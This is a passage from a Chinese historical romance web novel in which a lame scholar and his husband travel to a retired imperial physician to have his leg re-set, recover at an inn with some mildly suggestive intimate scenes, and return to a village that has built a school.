他不太敢动,乖乖的躺在大少爷怀里。 他能感觉到他走路姿势一拐一拐的,可能好得还不彻底吧,或者说还在疼,又或者说他真跛脚了。 等被放在床上,奈宁忍着身体上的不适,把男人也拉到床边。 萧练笑道:“还来啊?我还想出去做饭了呢。” 奈宁脸一烫,怒道:“胡说什么?给你看看腿而已!” 奈宁给萧练检查了下腿脚,伤口已经脱疤了,一条比周边要白一点点的痕迹,但是之前伤疤的地方。 他就看一看别的不敢说,比如说是不是真的跛脚了。 转眼清晨,屋子外热热闹闹的,奈宁一打开门就看到好多人,大人小孩提着瓜果蔬菜,还有各种肉。 大家面露关怀:“大少爷怎么样了?” 奈宁脸蛋红扑扑,不知道该怎么回答,反正晚上是挺能折腾人的,这会在房间里装病呢。 他低垂着脸,不敢看大家,支支吾吾道:“还、还好。” 他神情落在大家眼里就是伤心难过。 大家将礼物放下就走:“让大少爷好好休息,切勿劳心费神,我们会为他讨回公道。” 奈宁关上门后还在恍惚。 萧练在这了家里“躺”了三天,等族长再次找上门来时,送上了两封五十两白银。 “他们两家卖了房与地,勉强凑了一百两银,还剩几亩薄田。” 萧练轻描淡写瞥了眼那两封银子,幽幽道了声:“他们还住村里啊?” 族长心脏咯噔一跳:“唉,他们毕竟无路可去,若是连这山村都不能呆,那他们真的是,只有死路一条。” 萧练没再说话。 还是奈宁过来接待了老族长,将人送出门时,族长问奈宁:“你家男人是怎么想的?” 奈宁一个劲摇头,他怎么知道大少爷怎么想? 不过他觉得他能猜到大少爷的想法,族长也是能猜到的。 族长走出门口,眉头还是拧着,再次忍不住回头跟奈宁:“告诉大少爷,咱们村子永远都是站在你们这一边!” 奈宁只能含笑点头,大少爷估计很快要搬走了。 他故意放慢了脚步回堂屋,只看到男人面无表情的坐在正座上,冷冰冰地看着那一百两银子。 其实奈宁觉得,萧家那些人真的得到了惩罚了,这估计就是他们所有身家了,但大少爷那副神情,好像觉得这一百两在打发他呢。 奈宁信步走过去,拿起两锭银元宝,笑道:“哇,我还是第一次看到这么多钱,你知道多少人穷其一生都赚不到这么多钱么?” 萧练摇了摇头,思绪却不在此处,突然来了句:“夫郎,我们的猪养不大了。” 奈宁心头一跳:“为什么?” 萧练抬眸与他四目相对,面容沉肃:“你有没有想过奈大壮为何突然要对我们下死手?” 奈宁瘪瘪嘴:“他想要我们死呗,赌钱赌输了,连他自己家里人死活都不管不顾,自然更是恨不得我们死。” “你就不觉得期间有人推波助澜么?” 奈宁目光放空了一瞬:“你是说萧家他们指使的?” 萧练冷笑道;“不是没有这个可能,不然你以为他们会乖乖退回县城不闻不问?” 奈宁想到不久前他们被赶了一次,结果又趁着他们回来在路上堵他们,确实不像是那么容易善罢甘休的人,当时安静了那么长一段时间,确实像是另有图谋。 “你是说他们还不肯放过我们,还要对我们下死手?” 萧练嘴角勾起一丝弧度:“谁知道,总之我想离开这里了。” 说着他拉过奈宁的手:“夫郎,我们不养猪了,我们离开吧。” 奈宁纠结了很久,忍不住道:“你才教了他们两个字,就不教了吗?” “我教他们试蘑菇,还没有教完呢。” 看萧练一脸冷若冰霜的模样,奈宁忍不住再次安抚:“再说这是你爹娘的老家,也是你的老家,以后总有回来的一天,咱们对村里人好一些,他们也会帮咱们看理一下房屋,不至于被那些流氓抢了去。” 萧练还是不说话,嘴角往下抿。 奈宁叹息道:“三个月,咱们再留三个月!” 萧练不说话,就将他揽进了自己怀里:“夫郎在哪里我在哪里。” 听不出喜乐,莫名叫奈宁自责,又莫名有些感动。 接下来萧练就是在家里教人读书写字,奈宁带村里人认蘑菇。 萧练不允许奈宁单独出去,他要上山,萧练一定要跟着他上,奈宁只能在家里跟着一群七八岁小孩一起读书练字,但他比那些小孩子好太多,他有独自的教室,夫子还会手把手教他写字。 家里门前经常停满了驴车马车牛车,各方学子前来讨论学问。 奈宁端热茶进去,听到他们讨论本次乡试。 “萧兄不去考试真是可惜了,这腿真没办法治了吗?” 萧练不说话,只是摇头看到夫郎来了,嘴上露出个笑容。 奈宁将茶端上,低声说:“我们正在找大夫帮他看腿,不知各位有没有认识的名医?” 有个书生笑道:“嘿,我有个好消息要告诉萧兄,隔壁县有个御医告老还乡,萧兄不如去看看!” 奈宁手一抖差点没泼了水,这不是叫做那啥,刚要瞌睡就有人递枕头吗? 奈宁细细打听了那名告老还乡御医的地址,退了出去,让他们继续好好讨论学问,自己去翻箱倒柜,那些还没吃的贵重的人参被他翻了出来,打算送给那个告诉他御医地址的书生。 后来觉得这只太贵重了,换了一支小的,若是能救好,再给他送份大礼也不迟。 同时又准备了一些别的礼,这两日他就要跟萧练上门拜访,直接看腿。 毕竟是在隔壁县,可能好长一段时间不能回来,还得收拾些行李才行。 人家还在讨论学问,他这边就已经准备妥当。 萧练从书房里出来的时候,他正在做凉拌折耳根。 折耳根处理起来也挺麻烦的,一堆须,要把那些须清理干净,只要根部。 学堂跟书房热热闹闹,灶房安安静静,奈宁一扭头就看到夫君走过来,脸上立刻露出笑来。 “明天我们到隔壁县一趟。” “好。”萧练完全没有拒绝的意思,他就知道夫郎想跟他到隔壁县去。 他心里也隐隐期待。 要是这种御医都没办法治好他的腿,那他真的没救了。 外面客人都还没走,奈宁悄悄把萧练拉回房间。 萧练一看桌子上面摆的满满当当的行囊,不由好笑。 奈宁将萧练推到椅子上,顺便坐在他腿上,心情颇好的给他喂折耳根吃:“这个清热解毒的!” 萧练:“嗯嗯嗯。” 给萧练喂了一根,自己也吃了一根,里面放了酱油放了醋,折耳根被拍扁了,焯了水,伴着折耳根奇特的味道,吃起来别有感觉。 奈宁自己觉得挺好吃。 这玩意儿腥味很浓,萧练笑容甜甜,吃了一根又一根,忍不住问:“这是什么?” 奈宁说:“鱼腥草,又叫折耳根,好不好吃?” 说着又往萧练嘴里送了一根。 萧练张嘴就吃,看着满脸笑容,谁知道他说:“不好吃。” 奈宁失笑:“那你还吃?” 萧练说:“这是夫郎喂我的!” 奈宁噗嗤笑了笑,心里甜滋滋的。 往自己嘴里咬了一根,慢慢往大少爷唇边送。 第64章 第 64 章 看病去 萧练眉眼含着温煦的笑容, 先一步从房间出来,进了书房。 过了好一阵奈宁才出来,脸颊还是红红的, 去检查村里小孩的功课。 大少爷家的房间都很宽阔, 这搬空了当做学堂的房间,挤满了人。 现在孩子们学的字都是奈宁之前学过的, 奈宁勉强能教一教。 想到自己这半两水也能当夫子, 奈宁脸蛋又红了红,神情都放得端正了些。 这些字大少爷天天教他写,他闭着眼睛都能写出来。 小孩子们乖乖的坐在凳子上等他检查, 奈宁时不时能夸两句写的字工整。 大少爷每天都是这么夸他的。 丑不丑先不说,一笔一画工整即可。 检查完一遍, 奈宁又另外写下几个字让孩子们背诵, 这一次写得有些多, 毕竟他跟大少爷出门一趟不知什么时候才能回。 之后他又出去检查蘑菇, 大家每天还是能摘到不少蘑菇, 基本不会摘到毒蘑菇了。 奈宁算了算,这批蘑菇卖出去也能赚个三十两,不过他们却没有时间运去卖了, 到时候托个人去卖,或者等他们回来再卖 大少爷说家里的猪养不了了, 看着半大的小猪, 奈宁一时有些拿不住主意,要是现在卖了,村里人说不准会以为他们要跑路,不过他们确实要离开家给大少爷治病,一时半会应该也回不了, 算了,就卖了吧。 果然奈宁一问谁要买这些猪跟鸡鸭,大家顿时都慌了神,你看看我,我看看你,没有人敢动作。 奈宁笑道:“明日我要跟大少爷出去看腿伤,看完应该还要休养一段时日才能回来,是以这些猪跟鸡鸭就想卖了,狗子还得拜托你们帮养一段时日。” 狗跟猪以及鸡鸭都不同,那些都是杀来吃的,狗子是看家的,寻常人家不会都养狗。 大家听他说狗子还要留着,顿时松了一口气。 有人说我们可以帮你喂着,你自己回来还能养。 奈宁只笑着摇头。 “这鸡再养几个月,过年就能宰了,都不留吗?” 奈宁还是摇头:“到时候我们再买几只宰就行。” 看大家心里还是面露忧虑,奈宁也不多说。 一手交钱一手交货,看着空了的后院,奈宁感觉心脏也跟着空了一瞬,转念一想自己现在赚的钱可比养猪鸡鸭多多了,心情立刻又好起来。 等大少爷腿脚好了,什么都好说。 许多孩童在这里读书写字,萧练给他们包了晌午这一顿。 这些半大的孩子自己会做饭,但现在有一群书生到来,妇人们主动撸起袖子帮忙。 那些书生过来请教都没有给束脩,但是有人带了粮或肉。 猪肉炒竹笋,鸡肉炒蘑菇,香葱炒鸡蛋,南瓜汤。 一道道菜量大又扎实,院子里摆开了好几桌。 妇人跟小孩子们挤了两桌,书生们挤了两桌,萧练跟书生们一桌,奈宁跟小孩子挤一桌。 书生这边宽松些,与萧练道:“那边太挤了,我们这边还有空位,要不请嫂子也一并过来坐?” 萧练看过去,跟挤在一群小孩子堆里的奈宁隔空相望。 奈宁很不好意思,脸蛋通红,很快又低下眼帘。 萧练笑了笑走过去,在奈宁耳边说了什么,后者一个劲的摇头:“我在这里坐着就好,你回去吃吧。” 说急了还推他道:“走走走。” 萧练带着爽朗的笑回去:“无事,晚上我们会吃点别的。” 这一顿饭之后送别客人。 之前那个跟他们说有御医告老还乡的书生说:“萧兄,若你这两日就要去,我这马车就留在此处,还有这车夫供你一并驱使,他识路能带你们走。” 萧练道:“多谢刘兄。” 姓刘的书生道:“萧兄才华横溢,我等学问浅薄,萧兄还能耐心与我讲解,这几日我受益良多,应是我多谢萧兄!” 奈宁站在旁边看着,心里美美的想夫君真是个好人。 不过现在人家这么有心,还留个马车接送他们,之前准备的小人参就太轻了,奈宁有点送不出手,想着还是等治好腿回来再说吧。 两人客气一番,把人送走,萧练回头冲奈宁一下,回房之后两人难免亲热一番,明日就要离家,不知道什么时候才能回来。 刚回到房间,萧练就丢了拐杖,将奈宁抱起来,走路一跛一跛,情绪却很高。 桌子上布满了行囊,萧练将夫郎摁在梳妆桌前,头发披到一边去,轻轻咬着奈宁耳廓,亲吻纤细的脖颈。 奈宁忍着羞涩转过头来时不时亲吻男人的唇瓣,男人不甘于普通的啄吻,舌尖很快探进他湿热的口腔里。 等奈宁再想退回来时,已经迟了,下颌被他牢牢禁锢住。 等萧练终于放开他,他趴在桌子上,白瘦细嫩的手臂几乎支撑不住自己,脸颊染粉,眼睛浸着泪水,长长的眼睫挂着晶莹的泪珠。 外面天色还是亮着的,奈宁咬着唇不敢发出声音。萧练的手却摸到他唇边,探了进去,两根手指逗弄着柔软的舌尖。 宽阔结实的胸膛牢牢贴在他后背,男人全身上下都很热,唯独一张唇微凉,蹭着他颈后的肌肤,奈宁眼神迷离,顾得上顾不了下,嘴角有唾液流下。 等萧练将他掰转过来,让他坐在自己腿上,手肘那一段白嫩肌肤已经在桌子上烙出深深红痕。 萧练捏着那一截白皙的手臂,漆黑的眸子越发暗沉,探出猩红的舌尖,在上面轻轻舔了舔。 奈宁看着他,浑身一颤,男人越发来劲,将他手指一个个含进嘴里。 奈宁脑袋搁在他肩膀,浑身颤抖得厉害,男人贴过来蹭着他的下颌,亲吻脖颈。 清晨起得有点晚了。 村子里只要有人在家,大门一般都是敞开的。 等他们敞开门的时候,原本在其他地方聊天说话的村民们围了过来,领头之人还是族长。 老族长还是害怕他们一去不回,跟他们寒暄一番,说尽好话,明里暗里扯到萧家那边。 “他们一大家子住在荒岭那一侧,我们绝对不会让他们靠近这一边。” 荒岭距离这边隔了一整个村子,确实挺远。 萧练斯文有礼回应:“族长有心了。” 族长松了一口气,全村人都不希望他们走。 这还是第一次,这么多车子进村。 村里孩子们还拥有了读书写字的机会,一个族的壮大,离不开读书认字。 族长还是忍不住说道:“将他们留在村里也不是我们决定的,官府不允许将他们赶出去啊。” 毕竟并没有死人,不可能将这么多人流放出去。 萧练说:“嗯,我知道。” 此事他不愿再提,转头就跟族长说起蘑菇之事,请了族长的儿子帮忙送货到商铺,到时候他们会知道价钱,具体该怎么做就由他们决定。 奈宁也没多话,他现在身上已经有一百七十多两银子了,应该不缺钱用。 他将那些之前没吃掉的人参燕窝什么的都备了备,希望够付诊费。 此次不管如何,只要有一丝希望,砸锅卖铁也要给大少爷看好腿。 这么多书生千里迢迢跑来这里请教学问,图的是什么。 他绝对不会让大少爷埋没的。 车夫帮着他们将行囊搬进车里,马车慢慢距离小山村,往隔壁县城而去。 奈宁第一次坐如此豪华的马车,不像牛车那般硌屁股,兴奋得坐来坐去。 隔壁县城有些远,一大早出发,中间在小一个小镇子上吃了点东西,出了镇子却是越走越偏,两侧都是山,没见什么人出来。 奈宁有些害怕,希望不要有土匪。 坐了大半天马车,奈宁的屁股不比坐牛车来得舒坦,萧练让他靠在自己肩膀上休息,一开始还不敢,生怕车夫突然掀开帘子,坐了一天,发现车夫规规矩矩的,他就蔫蔫地靠在萧练肩膀上。 大少爷坐得板板正正,也看不出来累不累。 他捏着大少爷的手指把玩的时候,外面车夫“吁”了一声,马车急停。 车夫喝斥道:“突然跑出来挡路,找死啊!” 奈宁一阵紧张,萧练拍拍他手背:“我出去看看。” “我也去! 掀开帘子出去,只看到一个异常落魄的书生打扮男子。 全身脏兮兮的,衣服都磨破了,还有血痕,头发上都是枯枝落叶。 奈宁第一个反应是他这是遭了土匪。 看到他们出来,车夫道:“萧公子萧夫人咱们在路上走得好好的,他突然闯出来,差点没撞到他!” 那边书生拱手道:“抱歉抱歉,我们在山林里迷路了,好不容易走出来,走了大半天没见一个人影,终于看到你们,一激动赶紧跑上来了。” 萧练:“你们?” “是,我与我夫人。” 书生指向一侧,一个女子坐在密林里,神情紧张地看着这边:“我夫人拐到了脚,请问能不能载我们一程,进了城就可以。” 奈宁笑道:“好,我们刚好要去看大夫。” 第65章 第 65 章 能治 车夫将车子停靠得近一些, 等书生将女子背过来。 女子身上的长裙将脚踝盖住,伤的有多严重看不着。 看他们上车后长长松了一口气,不像有什么人追赶一样。 奈宁也松了一口气, 拿出一瓶膏药送给那个书生, 让他们擦擦裸露在外的伤口。 看他们口干舌燥,嘴角起皮, 奈宁又翻出些干粮跟水递给他们。 女子接过, 忙道:“多谢,我是丽娘,这是我夫君钟三, 我们原本出来游历,到一处山村被人偷了钱财, 出去追逐的过程中马也丢了, 人也迷了路, 已经两日没进食了, 幸好遇到两位!” 奈宁跟萧练对视一眼, 后者挑了挑眉,奈宁啧舌,这两位也是勇, 竟敢往陌生山村走。 他一个山村哥儿都不敢乱进别人村子,特别是那些偏僻的村子, 看到个陌生人就像看到肥羊一样。 这位丽娘还说他们有马, 那更加了。 他们住的那条山村都算偏僻了,但是有大少爷一家把路开拓过。 奈宁道:“旁人都叫我宁哥儿,这是我夫君……” 说罢,他沉默了会看了眼萧练,萧练冲他一笑, 他便如实说道:“萧练。” 钟三来了劲儿:“你就是萧练?” 说着不由自主往他腿上看,又看看他拄着的拐杖,恍然:“桃花县有个御医,不久前告老还乡,想来你是要去那里寻医?” 奈宁察觉到了钟三的动作,莫名自豪,果然他夫君厉害,见个书生都认识。 马车直奔桃花县,在一处古朴的院落前停车。 此处偏僻又热闹,可以看到不少人进进出出,都是些老弱病残,搀扶着进去搀扶着出来,但脸上多了笑容。 车夫说到了,奈宁屁股都是坐酸了,赶紧下来看着府邸上挂着的两个字:“李、府?” 萧练在后面笑道:“正是。” 临进去前,萧练给了车夫一两银子:“杨大哥,麻烦你帮忙找家偏僻幽静、环境好些的客栈,咱们估计要住几天。” 那边丽娘两口子看了过来,欲言又止。 奈宁笑道:“三间房。” 他觉得一个人在山穷水尽的情况还能对夫人好,定然不是坏人,他愿意对他们好一些。 车夫笑盈盈的拿了钱告退。 奈宁扶着萧练,钟三背着他媳妇,四个人一起进了李府。 院子里挺多人,大家排队看诊。 他们也是幸运,刚进去,门口就有人把守,只给出不给进,说今日就看到这里。 此处挺多平民百姓来看病的,奈宁心头还一阵欢喜以为诊金不会太贵,结果刚坐下就收了一两银子,就像进客栈刚喝杯热茶,菜还没点,就要先收一两银子茶位费。 最后来的就是他们四个,也不知道其他人收多少钱。 轮到丽娘了,崴了脚脚脖子肿了,一个小姑娘来给她治疗。 轮到萧练这边是一个年轻人,听说他跛脚了要矫正,年轻人先让他放了拐杖走两步,在他脚上检查一翻,也没说能不能治,让他们静坐一会,就离开了诊室。 这会儿天黑了,再没有别的病人就剩他们四个。 漫无目的的等待,时间变得漫长。 不知过了多久,那年轻人回来的,走在他前面的是一个白发苍苍的老翁。 年轻人道:“师父,就是这位公子跛脚了,想要矫正。” 大家你看看我我看看你,这个老翁说不准就是那个李御医了。 奈宁一个激灵,坐姿都端正了。 李御医跟着年轻人大同小异的步骤,给萧练望闻问切一番。 萧练大气不敢出,老老实实回答。 李御医扶了好一阵胡须,忍不住道:“小子,你这条腿快要愈合了,你还要动它吗?” “我想正常行走。” “现在也不影响你正常走路。” 萧练抿唇不说。 “唉,你这骨头长歪了,刚受伤的时候遇到我就好治,现在 ……” “现在没办法治了吗?”萧练扶着扶手上的青筋凸起来。 “好治,就是要再受一次罪。” 也不知故意吓唬他,还是考验他的决心,李御医继续道:“也有可能愈合不好,这条腿彻底废了,甚至瘫痪彻底起不来,更有甚者命也没了,你考虑清楚了。” 萧练不加思索道:“我考虑清楚了。” 奈宁心头一跳,眼眸低垂着,一只温热的手覆盖在他手背上,轻轻拍了拍,抬起眼眸看到嘴角含着浅笑的男人,奈宁只能冲他笑了笑。 李御医又细细的给萧练检查一番,之后问他们住在哪里,说治疗之日再派人来接他们。 待要告别时,奈宁小心翼翼地问:“诊金要多少钱?” 他怕不够钱治,自己好回去准备一下。 李御医扶须笑道:“刚不是交过了么?” 李御医不敢跟他们说,没有人敢让他断腿再治,在牲畜身上试验过许多次,终究不如在人身上。 看大夫气定神闲,奈宁一怔,之后便是无边欢喜,看来大夫真是吓唬吓唬他们,其实心里很有把握。 这诊金都没有多收,说明只是一个小病,大夫经常治这种病! 出了李府,车夫就候在旁边,这就可以将客栈地址告知大夫了,到时他们会派人去通知萧练上门治疗。 到了客栈四人饥肠辘辘,一起落座吃饭,萧练心情颇好,钟三敬了他两杯,祝他药到病除,他日金榜题名。 两人喝着酒,渐渐就讨论到学问去了。 奈宁跟丽娘这边喝着果酒,看看自己男人,再看看对方,相视一笑。 奈宁只是一个山村哥儿,而丽娘举止投足间尽显大家闺秀风范。 奈宁知道自己与人家的区别,心中莫名生出一股子卑微来,不敢多说,就时不时看向萧练。 钟三跟萧练聊天,比萧练兴奋,拉着萧练不停地说什么。 萧练觉察到夫郎的视线,偏过脸来,看他在那里讷讷地喝酒,心头莫名一酸,喊了声夫郎。 “嗯?”奈宁欣喜地抬起头来。 谁知男人冲他伸出手,修长白皙的手掌,指尖泛红,奈宁脸蛋莫名一烫,正要把手放上去,却听夫君笑道:“给我点钱?” 他羞得垂下脑袋赶紧拿出荷包来,整个荷包都塞到了萧练手中。 奈宁喜欢将钱分开来放,这个荷包里放着的是一锭五十两的银元宝。 他没想到夫君直接将五十两拿出来,塞给了那位钟三公子。 他脸上的那点羞涩,顿时消退的干干净净。 等萧练拉着他的手回房的时候,他还忍不住回头看。 刚才夫君说什么,这五十两给他们当做盘缠了? 不是,他们总共身家也就一百七十两。 大夫说不收诊金了,但也不知道药材还要多少钱! 回到房间奈宁还是震惊的,跟大少爷在一起太久了,已经忘记大少爷是大少爷,花钱真是大手大脚。 回到房间萧练关了门,将一柄折扇交给奈宁,这是那位钟三公子送给萧练的折扇。 奈宁捏捏折扇,悻悻的,五十两银子就换来了这玩意儿! 萧练笑着捏了捏奈宁的脸蛋:“那位钟三公子身份不简单,没听他说以后到郡城有事可以去寻他么,不亏的。” 奈宁可不知道亏不亏,只知道五十两银子没有了。 萧练笑着把他圈在怀里,想着这几日就要去治疗了,到时候腿脚又要痛一次,没有如今这般便利,心里就越发痒痒,弃了拐杖,把夫郎抱在怀里,一步步往床上走去。 床不结实,声音大。 奈宁红了脸,出门在外如此这般折腾可不好,又担心明日一大早有人过来喊。 萧练将他抱起来放在身上,声音粗沉:“现在就不担心声音了吧?” 奈宁死死咬着唇,不敢发出半点声音,身体没有支撑点,只能牢牢圈着男人的脖子。 到了半夜萧练出去提水,这客栈不便宜,幸好还温着热水。 奈宁浑身乏力的被他抱进热水里,水声哗啦哗啦激荡时,他恍然惊醒,刚转过头来,身后就贴上一具温热的身体。 “你、可以碰水了?” 萧练伏在他身上低声笑道:“你说呢?” 水随着他们的动作哇啦啦往下淌。 日晒三竿两人才出门,没想到还能遇上丽娘他们。 奈宁脸颊发烫,差点没又退回去。 幸好丽娘他们没跟他们走一起。 县城比镇上要繁华许多,奈宁各个店都逛了一遍,卖的商品会多一些,店铺装潢也要漂亮些。 但比较偏僻的集市跟镇上还是没什么区别。 他主要去那些商品比较多的店铺,看一下都有什么。 干货店,能看到卖干蘑菇,还有很多树皮跟叶子,还有各种花。 奈宁看了价钱,按两卖,不由啧舌。 但没看到有卖松茸的,他带了一盒松茸来,原本是想打算送给大夫。 但在李府好像没看到给大夫送礼的病人。 所以好奇县城吃不吃松茸,忍不住上前问:“有松茸卖么?” 一连问了几个商铺都是摇头说没有。 奈宁又大着胆子问收不收松茸。 终于有一个老板问:“你要卖啊?” 奈宁眼睛一下子变亮了,拘谨地点着头说:“多少钱一斤?” “看品相。” “非常好的品相!” 那老板迟疑了良久:“一百文。” 奈宁眉头立刻皱起来,拉着萧练就走。 老板忙道:“小哥儿还能谈谈价呀!” 奈宁走得更快了些,走远了,回头发现萧练在笑,自己也忍不住笑嘀咕道:“太黑心了!” 不如就在他们小镇子上卖。 吃饭再回来,就遇到了昨日给萧练诊断的那个年轻人。 第66章 第 66 章 回村 萧练又去了李府两趟, 第一次去,李御医聚集了更多的大夫,各位大夫再次确认细节。 好像知道自己要不行很久, 回来之后萧练使劲跟奈宁折腾。 奈宁受不住了, 他就可怜兮兮的说:“夫郎,我就要不行了。” 一副命不久矣的模样。 奈宁嗔道:“胡说什么!” 只能尽量包纳他, 一整天都没怎么出门。 第二次去的时候, 奈宁差点没能爬起来,萧练亲了亲他额角,精神奕奕道:“我可以自己去。” 奈宁摇摇头, 定是要跟他一块去。 萧练意气风发,弃了拐杖, 第一次在众人面前一瘸一拐地走路。 奈宁老老实实地帮他将拐杖拿上, 一会回来有得罪受。 奈宁被拦在诊室外面, 幸好不光他一个人, 丽娘钟三还有车夫都在。 从清晨等到了日中, 那个年轻大夫终于将他们召进诊室。 奈宁看见了才半天没见的萧练,心脏莫名一疼,大少爷脸色煞白煞白的, 有些寒冷的天气,他额角上还有细细密密的汗珠, 头发都湿润了。 一只腿架在凳子上, 裹得严严实实,还用木板固定住。 命好像都没了半条。 一看到他进来,眼泪都要流出来了。 奈宁加快了步伐,萧练伸手拉着他的手,手心全是汗。 奈宁心头一惊, 伸手摸了一把萧练额头,凉飕飕的。原本血气方刚的一个汉子,体温都还没他一个哥儿高。 不光如此,萧练握他的手都是虚软无力的。 李御医跟奈宁道:“切勿伤筋动骨,好生静养,少说三个月,最好半年。” 又细细吩咐了些旁的,让他们可以先行回去了。 奈宁问:“还要不要再过来?” 李御医扶须道:“无事不必过来。” 奈宁想了想,按大少爷之前情况来看,这伤其实是可以自己愈合的,只是需要调整,让它愈合到正确的位置。 大少爷这条腿三个月怕是不能动弹。 几个人小心翼翼地将萧练搀扶出去。 前几日萧练痛不欲生,过了一段日子之后,还是痛,但习惯了。 车夫跟钟三相继告辞,就剩他们夫夫俩了。 客栈一天两百文钱,长住有优惠,奈宁索性定了两个月,共八两银子。 原本以为治疗要花许多钱,想不到大夫真没有多少钱,这八两银子奈宁花得心甘情愿,可不想大少爷在这个时候受奔波之苦。 每日都尽量自己做饭,好好伺候大少爷,想让他恢复得快些。 之前带了一大堆人参燕窝,还有松茸来,刚好做给大少爷吃。 他自然不是傻的,知道财不外露,都是没有人的时候才去搞。 每天鸡鸭猪鱼轮换着上,每天光是买菜都要超过五十文。 谁知道这个男人稍稍没那么疼之后,就开始生出些别的小心思,缠着奈宁喊夫郎,两个人的手都摆在桌上的时候,他的两个食指中指作行走状,慢慢地走向奈宁的手,食指不安分地点着奈宁的指尖。 他那点小心思暴露无遗。 奈宁假装没发现,笑道:“你要是实在无聊,我拿两本书来给你看?” 萧练欲哭无泪:“你看我这个样子,能看得进书吗?” 这条腿像祖宗一样,他都不敢乱动,生怕一会骨头又歪了。 看着夫郎却是心痒痒,将人拉过来,让他坐在自己另一条腿上。 奈宁好笑道:“这你就不疼吗?” 萧练挑了挑眉:“说不准呢。” 又拉着奈宁的手轻轻捏着:“来嘛,试试?” 在奈宁手掌心画着圈儿。 奈宁红了脸,轻轻推开他站了起来:“够一个月再说。” “那得等到猴年马月,我已经受不了了!”他脸蛋凑过来,贴着奈宁,轻轻蹭着奈宁胸膛。 衣料柔软还香香的。 “夫郎……”他说话声音越发软乎,带着点尾音越发撩人心弦。 他这会不是拄单拐,双手都要拄着拐,奈宁好笑,这不得行了,还贼心不死。 萧练走一步,停一停,扯扯奈宁衣袖。 奈宁坐到床边,看他如何行动。 萧练躺在床上,脸颊微红:“夫郎可以坐上来。” 奈宁脸蛋烫得厉害:“你不是痛吗?” 萧练轻轻拉了拉他的手:“说不准就不痛了呢。” 起反应的时间比之前要久一些,烫手之后奈宁慢慢坐下。 这日子莫名还挺和谐,好像又回到了以前,奈宁依然每日端水来给大少爷按摩松腿,空闲之时跟着大少爷读书写字。 大少爷只能动动手,动不了脚,更动不了别的,教奈宁读书写字的进展迅速了许多。 一本书被奈宁翻得滚瓜烂熟,书页都磨蹭掉皮了。 算算时间,一个月过去了。 萧练可以出门了,以前是跛脚,还能做一个单拐,一跛一跛地走,现在双手拄着拐,走路更是颤颤巍巍。 就这副尊容还要跟着一起去买书,萧练很久没看到太阳,出来时心情明显变好。 随便翻开一本书,奈宁发现自己识的字多了许多,但又翻一本书识的字就变少了。 萧练笑道:“可以买些话本回去看看。” 他不能外出,夫郎也被迫跟他一块待在房里,每天都无聊得冒烟。 夫郎毕竟不是读书人,不如多看几本话本,还能提升一下乐趣。 许多话本萧练有所耳闻,但没看过,此刻莫名也有了些心思,指尖在书本上轻点,不多会就选中了好几本书。 回去之后萧练将夫郎圈在怀里,很明显能觉察到怀里人读书的兴趣浓郁了。 他也忍不住开心。 一本话本不长,不到一天就看完了,接下来萧练就让他念给自己听,不认识的字萧练会告知于他,他自己再抄写了几遍,效果颇佳。 萧练说:“以后就这般学。” 奈宁连连点头,满眼星辰。 连续几日都是缠绵悱恻的话本,都没察觉问题,直到这天夫君嘴里念出来的字越发糜烂不堪入耳。 他听得脸烫心烫,晕晕乎乎,都不知道自己听了什么。 念了几章萧练停下,把他拉过来,让他给自己念一遍。 一坐下来就感觉不对,男人牢牢禁锢着他,他又不敢挣扎,怕碰到他的腿。 好不容易念完,还要抄写,奈宁无法直视那些滚烫的字眼。 夫君真是下了好大一盘棋! 时间如白驹过隙,两个月过去,萧练到李府走了一趟,待他们回程之日,租赁的马车里多了一箱书,一个小铁锁将它牢牢锁住。 傍晚时分,马车进入村子,一开始村民们不知道是谁,直到有人喊:“谁家的马车,不会是大少爷回来了吧?” 一石激起千层浪,还没确定马车里是谁,村民们就都围上来跟着马车走。 “大少爷跟宁哥儿回来了 !” 奈宁掀开帘子,看到大家满脸都是笑,嘴角也忍不住扬起笑来:“是啊,回来了。” 他以为大家知道了蘑菇的价钱,会疏远他们,谁想还是如此热情招待。 等到了家门口,他终于知道原因。 靠近他家的房子,完全变了一个模样,老远就可以看到孩子们坐在屋子里摇头晃脑。 这是学堂? 他们竟然建了学堂,还有钱请夫子了? 他好像知道了原因,又好像没知道原因,下马车之后好多人过来搀扶。 那个有些简陋的学堂跑出书生跟孩童,为首的书生笑道:“萧兄你可回来了!” 奈宁记得这是在他家跟萧练讨论过学问的一个书生,这书生的衣着打扮不像要吃山村夫子这碗饭的。 扭头不解的看一下萧练,或者稍稍侧身过来在他耳边低声说:“这是他的束脩。” 奈宁反应了良久,终于醒悟过来,大少爷这是不愿意教小孩子,让其他人来教。 所以在他们离开的这段时间,那些与他讨论过学问的书生要轮流上来交束脩。 难怪他们离开村子这么久,村子里还有他们的传说。 等奈宁回到家,放下行囊,族长的孙子奈有德匆匆赶来:“这两个月以来我每隔两日就到镇上买一趟蘑菇,这是这两个月卖蘑菇赚来的钱。” 奈宁恍恍惚惚接过荷包,手被沉了一下,打开一看全是银锭子,其实不用打开都已经摸到了。 他在发呆,这到底有多少钱? 奈有德说什么他都听不清晰了,无外乎这两个月摘了多少蘑菇,成本花了多少钱,剩下多少钱,反正他手上的这些钱就是他们的。 奈宁脑子嗡嗡了好一阵,突然想,啊不对,他们已经知道这蘑菇卖多少钱,居然还按原来的价钱给他钱! 奈有德有些拘谨地说:“最近快进入冬天,雨水不丰,蘑菇不多了。” 奈宁点点头随即反应过来奈有德是怕他说钱少了。 奈宁哭笑不得,这可是有二百两银子呢。 这笔钱他受之有愧,冬天了,山里能摘的东西少了,大少爷刚教了他两个词——竭泽而渔,休养生息。 他们的山也该休养生息。 正好村里要建学堂,不如他将所得的一百两交出来建学堂。 建个学堂五十两都绰绰有余,剩下的钱可以买头牛,拉辆车,常年配个车夫,周边村子的孩子想要读书也可以过来。 奈有德千恩万谢走后,奈宁被萧练拉进房,一个古朴的盒子塞到了他手上。 萧练道:“过完年我们就上郡城去。” 第67章 第 67 章 山洞 奈宁对于大少爷所说笑而不语, 打量着手中的小盒子,这小盒子看着有些破烂,没什么稀奇的, 但是怎么都打不开。 萧练低低笑了声, 拿过来操作了一下,盒子缓缓打开, 里面就放了几张纸, 无外乎房契跟钱票。 奈宁没接触过这些东西,看得一头墨水,其中两张说是钱票, 但半毛钱也没看到:“这是什么?” “加密过的钱票,一张要到郡上才能领, 另外一张到京城, 又或者我到而立之年也能在郡城领。” 奈宁挑了挑眉。 萧练坐在椅子上, 提着水壶要给自己倒茶, 心情愉悦道:“爹娘都不会赚钱, 但夫郎会管。” “大概会有多少钱?” 萧练倒了一杯茶,推到奈宁跟前笑道:“总该够花。” “哦?” 